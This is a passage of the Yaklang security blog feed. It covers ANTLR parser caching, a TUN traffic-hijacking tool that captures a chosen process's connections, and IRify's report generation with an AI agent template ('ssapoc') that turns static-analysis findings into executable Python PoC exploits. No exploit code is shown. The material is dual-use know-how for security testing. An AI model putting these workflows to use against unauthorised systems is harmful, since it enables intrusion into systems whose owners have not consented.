cache</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">LexerDfaCache</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cache</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">LexerPredictionContextCache</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="架构集成worker-pool-复用">架构集成：Worker Pool 复用<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E6%9E%B6%E6%9E%84%E9%9B%86%E6%88%90worker-pool-%E5%A4%8D%E7%94%A8" class="hash-link" aria-label="架构集成：Worker Pool 复用的直接链接" title="架构集成：Worker Pool 复用的直接链接" translate="no">​</a></h2>
<p>我们在：<code>common/yak/ssaapi/ssa_compile_utils.go</code> 的编译管线中，利用 <code>store</code>（线程局部存储）来管理 <code>AntlrCache</code>。</p>
<ul>
<li class=""><strong>初始化阶段</strong>：Worker 启动时，调用 <code>createAntlrCache</code> 创建一份私有缓存，存入 <code>Local Store</code>。</li>
<li class=""><strong>运行阶段</strong>：Worker 处理每个文件时，从 Store 中取出缓存，注入到 Parser。</li>
<li class=""><strong>收益</strong>：ATN 反序列化和 DFA 预热只需要做一次，之后永久复用，且全程无锁。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="优化结论">优化结论<a href="https://yaklang.com/blog/irify-antlr4-go-runtime-concurrency-tuning-part4#%E4%BC%98%E5%8C%96%E7%BB%93%E8%AE%BA" class="hash-link" aria-label="优化结论的直接链接" title="优化结论的直接链接" translate="no">​</a></h2>
<p>通过将全局锁模型重构为 Thread-Local 的无锁模型，我们成功消除了并发瓶颈。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/MMH6YEEPAZLCMYcuYY8fVw" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>代码审计</category>
        </item>
        <item>
            <title><![CDATA[流量分析：TUN 劫持的进程监控与连接关联实现]]></title>
            <link>https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation</link>
            <guid>https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation</guid>
            <pubDate>Fri, 16 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[为什么我们需要监控进程？]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="为什么我们需要监控进程">为什么我们需要监控进程？<a href="https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation#%E4%B8%BA%E4%BB%80%E4%B9%88%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E7%9B%91%E6%8E%A7%E8%BF%9B%E7%A8%8B" class="hash-link" aria-label="为什么我们需要监控进程？的直接链接" title="为什么我们需要监控进程？的直接链接" translate="no">​</a></h2>
<p>在上一篇文章中，我们讨论了<a href="https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529213&amp;idx=1&amp;sn=62ce90504e95ce98ad15d1e4fb8a055b&amp;scene=21#wechat_redirect" target="_blank" rel="noopener noreferrer" class="">如何利用 TUN 设备构建一个基础的流量拦截环境（点击即可查看）。</a> 然而，在实际的渗透测试或安全开发场景中，我们经常会遇到一个痛点：<strong>流量是“盲目”的</strong>。</p>
<p>当我们开启 TUN 劫持后，看到的是源源不断的 IP 包和 TCP/UDP 流。但在复杂的现代操作系统中，后台可能有数十个进程在同时联网。如果你只想分析 Chrome 的某个插件流量，或者想审计某个特定恶意软件的连接行为，从海量的 IP 数据中手动筛选目标无疑是大海捞针。</p>
<p>本次更新，我们的 TUN 劫持引入了**进程监控（Process Monitoring）**功能。它打破了网络层与应用层之间的壁垒，让你可以实时看到“哪个进程正在连接哪个 IP”，并实现自动化的流量劫持。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实时进程与连接监控">实时进程与连接监控<a href="https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation#%E5%AE%9E%E6%97%B6%E8%BF%9B%E7%A8%8B%E4%B8%8E%E8%BF%9E%E6%8E%A5%E7%9B%91%E6%8E%A7" class="hash-link" aria-label="实时进程与连接监控的直接链接" title="实时进程与连接监控的直接链接" translate="no">​</a></h2>
<p>传统的抓包工具往往只关注包内容，而我们的工具在网络层拦截的同时，通过系统底层的调用，实时关联了网络连接与进程 PID。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="进程视图概览">进程视图概览<a href="https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation#%E8%BF%9B%E7%A8%8B%E8%A7%86%E5%9B%BE%E6%A6%82%E8%A7%88" class="hash-link" aria-label="进程视图概览的直接链接" title="进程视图概览的直接链接" translate="no">​</a></h2>
<p>在工具的“进程列表”选项卡中，你可以看到当前系统中所有活跃的进程。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/4a47418103dbb3c0-8012c645a3397807ce85e235a93837c5.jpg" width="718" height="1400" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="查看进程详细连接">查看进程详细连接<a href="https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation#%E6%9F%A5%E7%9C%8B%E8%BF%9B%E7%A8%8B%E8%AF%A6%E7%BB%86%E8%BF%9E%E6%8E%A5" class="hash-link" aria-label="查看进程详细连接的直接链接" title="查看进程详细连接的直接链接" translate="no">​</a></h2>
<p>点击“查看信息”，你可以深入到进程内部。工具会展示该进程当前持有的所有 连接，包括源地址、目的地址、目标域名（如有）。这对于识别 CDN 流量或隐藏的 API 调用非常有帮助。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/25573391f7dc414a-6f014f13b8969171f45871aa329043bf.png" width="1080" height="709" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="一键路由转换">一键路由转换<a href="https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation#%E4%B8%80%E9%94%AE%E8%B7%AF%E7%94%B1%E8%BD%AC%E6%8D%A2" class="hash-link" aria-label="一键路由转换的直接链接" title="一键路由转换的直接链接" translate="no">​</a></h2>
<p>在发现感兴趣的连接后，如何快速将其导入劫持流程？</p>
<p>在“信息详情”窗口中，每个连接条目后都有一个“添加路由”按钮。一旦点击，该目的 IP 会立刻被推送到我们的<strong>TUN</strong>路由表**中。此时，该 IP 的所有流量都将通过我们的 TUN 设备进行强行劫持。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/b9929f58ffa9aaaa-f34c85fb547fa55257c32a254782476f.png" width="1080" height="458" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="持续劫持进程">持续劫持进程<a href="https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation#%E6%8C%81%E7%BB%AD%E5%8A%AB%E6%8C%81%E8%BF%9B%E7%A8%8B" class="hash-link" aria-label="持续劫持进程的直接链接" title="持续劫持进程的直接链接" translate="no">​</a></h2>
<p>在之前的 tun 劫持模块中，用户需要手动发现一个 IP，然后手动将其添加到路由表中。但在面对现代复杂应用时，这种操作模式已经不够使用了。</p>
<p>本次更新关键在于实现了<strong>针对进程的持续劫持</strong>。无论你是指定一个具体的 <strong>PID</strong>，还是通过<strong>Glob 模式</strong>匹配一组进程，工具都会进入一个自动化的闭环逻辑，持续添加目标进程的连接到劫持目标中。</p>
<p><strong>1、为什么“持续性”是刚需？</strong></p>
<p>以 Chrome 为例，它是一个典型的多进程、高频连接应用。</p>
<ul>
<li class="">**连接瞬时性：**很多 API 请求或短连接在几秒钟内就结束了。当你手动查到它的 IP 并准备添加路由时，连接可能已经关闭。</li>
<li class=""><strong>域名多变：</strong> 现代 Web 应用背后是成百上千个 CDN 节点和微服务。</li>
<li class=""><strong>PID 漂移：</strong> 渲染进程（Renderer）经常会因为页面刷新或标签页关闭而销毁并重启，产生全新的 PID。</li>
</ul>
<p>如果靠人工去“盯”，效率极低。我们的“持续劫持”功能将这个过程变成了<strong>自动进行。2、Glob 模式：大规模自动化拦截的入口</strong></p>
<p>不同于传统的精确匹配，Glob 模式允许你利用通配符（如 <em><code>*Chrome*</code></em>、<em><code>Electron</code></em>）一次性覆盖整个应用族群。</p>
<ul>
<li class=""><strong>一键锁定：</strong> 输入*<code>*Chrome*</code>*，工具会自动关联当前所有的 Chrome 进程。</li>
<li class=""><strong>新进程自动收纳：<strong>最重要的是，如果在劫持过程中 Chrome 启动了新的子进程（例如你新开了一个标签页），Glob 监控逻辑会</strong>实时感知</strong>到这个新进程的加入，并自动将其纳入劫持范围。</li>
</ul>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/866975105135f199-2c1f1ebb7d1e9d46209d45f3eba496b1.png" width="734" height="518" class="yakdoc-image"></button></p>
<p>当你在工具中点击“劫持”后，后台会启动如下自动化流水线：</p>
<p><strong>1、动态扫描与 Glob 模糊匹配</strong></p>
<p>工具后台维持着一个扫描任务，它会定期轮询系统进程树。通过引入<strong>Glob 模式匹配</strong>，你不再需要死盯着某个 PID，只需输入期望的匹配字符串，就会自动将所有匹配到的进程拉入“劫持预备役”。</p>
<p><strong>2、一进程一协程</strong></p>
<ul>
<li class="">每当扫描器发现符合条件的新进程，都会为其启动一个协程持续监控此进程</li>
<li class="">该协程会监控目标进程的 网络连接状态。一旦该进程有新的的网络连接，协程会立刻捕获其目标 IP。</li>
<li class="">捕获到 IP 后，无需人工干预，会自动将其写入路由表并指向 TUN 设备。</li>
</ul>
<p>通过这种设计，你只需要在界面上点一次“劫持”，剩下的工作——<strong>发现新进程、启动监控协程、提取新连接</strong>IP**、下发<strong>路由表</strong>——全部自动完成。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实际操作演示-以拦截-chrome-流量为例">实际操作演示 (以拦截 Chrome 流量为例)<a href="https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation#%E5%AE%9E%E9%99%85%E6%93%8D%E4%BD%9C%E6%BC%94%E7%A4%BA-%E4%BB%A5%E6%8B%A6%E6%88%AA-chrome-%E6%B5%81%E9%87%8F%E4%B8%BA%E4%BE%8B" class="hash-link" aria-label="实际操作演示 (以拦截 Chrome 流量为例)的直接链接" title="实际操作演示 (以拦截 Chrome 流量为例)的直接链接" translate="no">​</a></h2>
<p>**1、启动环境：**打开工具，开启 TUN 设备。</p>
<p>**2、设置规则：**在进程列表搜索框输入 <em><code>*Chrome*</code></em>，点击“劫持”。</p>
<p><strong>3、触发流量：</strong> 在 Chrome 中访问任意网站。</p>
<p>**4、实时审计：**点击“已劫持任务”中的“查看信息”，你会发现工具已经自动捕获了 Chrome 正在访问的后端服务器 IP。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/39e6881201219fef-5620d6ec2da208c01da12ad55c977edd.png" width="1080" height="456" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/tun-hijacking-process-monitoring-and-connection-correlation#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<p>本次“进程监控”的更新，标志着我们的 TUN 劫持工具从一个“底层网络工具”进化为了一个“应用级分析利器”。通过 <strong>Glob 模式匹配</strong> 和 <strong>实时路由添加</strong>，我们极大缩短了从发现目标到实施劫持的操作链路。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/E2w1Z9BpYvlLNdKztDZyog" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>流量分析</category>
        </item>
        <item>
            <title><![CDATA[功能发布：IRify 代码审计报告生成功能]]></title>
            <link>https://yaklang.com/blog/irify-code-audit-report-generation</link>
            <guid>https://yaklang.com/blog/irify-code-audit-report-generation</guid>
            <pubDate>Fri, 09 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[在日常代码安全审计工作中，生成一份清晰、专业的审计报告是必不可少的环节。IRify 作为 Yakit 生态中的静态代码分析平台，提供了强大的报告生成功能，帮助安全工程师快速输出标准化的审计成果。本文将详细介绍 IRify 的报告生成功能及其使用方法。]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>在日常代码安全审计工作中，生成一份清晰、专业的审计报告是必不可少的环节。IRify 作为 Yakit 生态中的静态代码分析平台，提供了强大的报告生成功能，帮助安全工程师快速输出标准化的审计成果。本文将详细介绍 IRify 的报告生成功能及其使用方法。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="代码扫描报告生成方法">代码扫描报告生成方法<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E4%BB%A3%E7%A0%81%E6%89%AB%E6%8F%8F%E6%8A%A5%E5%91%8A%E7%94%9F%E6%88%90%E6%96%B9%E6%B3%95" class="hash-link" aria-label="代码扫描报告生成方法的直接链接" title="代码扫描报告生成方法的直接链接" translate="no">​</a></h2>
<p>在 IRify 客户端的 Tab 列表选择数据库，点击报告，再点击生成报告按钮：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/4567d25d6817dee2-c511b3d6cd34a3c3fabe840275d3e32d.png" width="856" height="284" class="yakdoc-image"></button></p>
<p>选择你需要生成报告的扫描任务，然后生成报告：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/b1851e274ea0d030-46c1b3e81a5aa59948f105ea89d633d3.png" width="1080" height="239" class="yakdoc-image"></button></p>
<p>报告生成后，即可在客户端内预览：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/9f22394b4861755b-2dd92ceef69d4c17ef3241f3036dbe89.png" width="1080" height="572" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="报告细节">报告细节<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E6%8A%A5%E5%91%8A%E7%BB%86%E8%8A%82" class="hash-link" aria-label="报告细节的直接链接" title="报告细节的直接链接" translate="no">​</a></h2>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="智能图表优化">智能图表优化<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E6%99%BA%E8%83%BD%E5%9B%BE%E8%A1%A8%E4%BC%98%E5%8C%96" class="hash-link" aria-label="智能图表优化的直接链接" title="智能图表优化的直接链接" translate="no">​</a></h4>
<p>报告中的南丁格尔玫瑰图采用了智能数据优化算法。当漏洞数量分布极端不均匀时（例如高危漏洞 100 个，信息级漏洞仅 1 个），系统会自动调整图表比例，确保小数量的分类也能清晰可见，同时保留真实数据供查看。</p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="性能优化">性能优化<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96" class="hash-link" aria-label="性能优化的直接链接" title="性能优化的直接链接" translate="no">​</a></h4>
<p>为保证报告加载性能，系统对漏洞详情部分做了限制：</p>
<ul>
<li class="">漏洞类型分组最多显示 100 个</li>
<li class="">代码片段最多显示 1000 字符</li>
<li class="">超出部分会有相应提示</li>
</ul>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="稳定排序">稳定排序<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E7%A8%B3%E5%AE%9A%E6%8E%92%E5%BA%8F" class="hash-link" aria-label="稳定排序的直接链接" title="稳定排序的直接链接" translate="no">​</a></h4>
<p>报告中的漏洞列表采用多级稳定排序策略：</p>
<p>1、首先按漏洞类型分组</p>
<p>2、同类型内按严重程度排序</p>
<p>3、同严重程度按漏洞名称排序</p>
<p>这确保了每次生成的报告内容顺序一致，便于对比和追踪。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="通过-risk-尝试生成利用-poc">通过 Risk 尝试生成利用 PoC<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E9%80%9A%E8%BF%87-risk-%E5%B0%9D%E8%AF%95%E7%94%9F%E6%88%90%E5%88%A9%E7%94%A8-poc" class="hash-link" aria-label="通过 Risk 尝试生成利用 PoC的直接链接" title="通过 Risk 尝试生成利用 PoC的直接链接" translate="no">​</a></h2>
<p>现在 Risk 页面查看想要生成 PoC 的 RiskID：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/abbd6aa11b6dfe85-a918d216f8996e61c229b191adc004fc.png" width="1080" height="535" class="yakdoc-image"></button></p>
<p>进入 AI Agent 界面：</p>
<p><button type="button" class="yakdoc-figure" data-layout="narrow" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/f3d0998bf3eff93f-9c21f2cfa0c11badbde158988ca32ebb.png" width="374" height="500" class="yakdoc-image"></button></p>
<p>选择如图模板：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/3e96f46714d5fa63-27e0ebc348b3a9163a3638d9aff85f76.png" width="773" height="465" class="yakdoc-image"></button></p>
<p>填入 RiskID 和保存路径运行：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/9fc6c8dbcbda94d7-6dfbef28d12128c70a61b4ec3b09bd8a.png" width="1080" height="535" class="yakdoc-image"></button></p>
<p>生成结束后可以找到生成的报告：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/3d40a4ae8723e68b-ab0a75e23b87222ee8b1df285f1d18a6.png" width="1080" height="594" class="yakdoc-image"></button></p>
<p>同时，在右侧自由对话中可以在报告生成完毕后继续和 AI 对话。此时 AI 上下文中包含了这个 Risk 所关联文件和项目的信息。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/440a2956a5c5260a-33f19158eca0cd9bd5a56cc09b793e9a.png" width="473" height="778" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="技术细节">技术细节<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82" class="hash-link" aria-label="技术细节的直接链接" title="技术细节的直接链接" translate="no">​</a></h2>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="ssapoc-工作流架构">ssapoc 工作流架构<a href="https://yaklang.com/blog/irify-code-audit-report-generation#ssapoc-%E5%B7%A5%E4%BD%9C%E6%B5%81%E6%9E%B6%E6%9E%84" class="hash-link" aria-label="ssapoc 工作流架构的直接链接" title="ssapoc 工作流架构的直接链接" translate="no">​</a></h4>
<p>ssapoc 是 Yaklang AI Forge 体系中的一个专用模板，专门用于从 SSA（Static Single Assignment）风险分析结果智能生成 Python PoC 代码。</p>
<p>其核心配置位于 common/aiforge/buildinforge/ssapoc/forge_cfg.json：</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token property" style="color:#36acaa">"name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"ssapoc"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token property" style="color:#36acaa">"verbose_name"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"根据SSA Risk智能生成POC"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token property" style="color:#36acaa">"description"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"通过接收一个SSA RiskID，智能分析风险信息、评估POC生成可行性、获取适当模板，最终生成可执行的Python POC代码"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token property" style="color:#36acaa">"tools"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"poc_template_searcher,ssa-risk,ssa-project-info,ssa-list-files,ssa-read-file,ssa-grep,call_yak_plugin,write_file"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token property" style="color:#36acaa">"actions"</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"ssa_poc_result,poc_generation_result,python_poc"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>该配置定义了三个关键要素：</p>
<p>1、工具集（Tools）：AI 可调用的能力边界，包括 SSA 风险查询、项目源码访问、PoC 模板搜索等</p>
<p>2、动作集（Actions）：AI 可执行的结构化操作，如进入 Python PoC 生成专注模式</p>
<p>3、提示词体系：由 init.txt、persistent.txt、plan.txt、result.txt 四个文件构成的多阶段提示词</p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="多阶段任务规划机制">多阶段任务规划机制<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E5%A4%9A%E9%98%B6%E6%AE%B5%E4%BB%BB%E5%8A%A1%E8%A7%84%E5%88%92%E6%9C%BA%E5%88%B6" class="hash-link" aria-label="多阶段任务规划机制的直接链接" title="多阶段任务规划机制的直接链接" translate="no">​</a></h4>
<p>ssapoc 采用预定义的任务规划策略，将 PoC 生成分解为九个有序子任务：</p>
<div class="language-swift codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-swift codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token string-literal string" style="color:#e3116c">"@action"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"plan"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token string-literal string" style="color:#e3116c">"query"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"-"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token string-literal string" style="color:#e3116c">"main_task"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"根据用户输入的SSA RiskID智能生成Python POC代码"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token string-literal string" style="color:#e3116c">"main_task_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"通过分析SSA风险详情、评估POC生成可行性、获取适当模板，最终生成可执行的Python POC代码，用于验证和演示安全漏洞。"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token string-literal string" style="color:#e3116c">"tasks"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"SSA风险信息获取与分析"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"使用ssa-risk工具根据用户提供的RiskID，查询和获取详细的SSA风险信息，包括漏洞类型、影响组件、漏洞描述、代码位置、数据流路径等关键信息，为后续POC生成提供基础数据。尤其需要注意获取`program_name`字段，`program_name`字段表示risk关联的程序意思是这个risk源自对这个程序的扫描 *不需要获取完整问题代码*"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"检查项目源码可用性"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"使用ssa-project-info工具检查Risk关联的项目(通过上一步获取的`program_name`)是否有源码可访问。如果is_memory_mode为true或has_source_code为false，说明项目是内存模式编译的，源码不可访问，需要在后续步骤中仅依赖Risk中的CodeFragment信息。"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"获取SSA风险信息关联项目源码上下文信息"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"使用ssa-risk工具根据用户提供的RiskID，获取Risk关联的风险代码上下文为后续POC生成中潜在的API路由信息（例如Java Spring风格的注解）或者POC生成所需信息做准备。重点关注代码上下文、API注解、函数签名等POC生成所需的技术细节。*需要获取完整问题代码*"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"探索项目结构获取更多上下文（可选）"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" 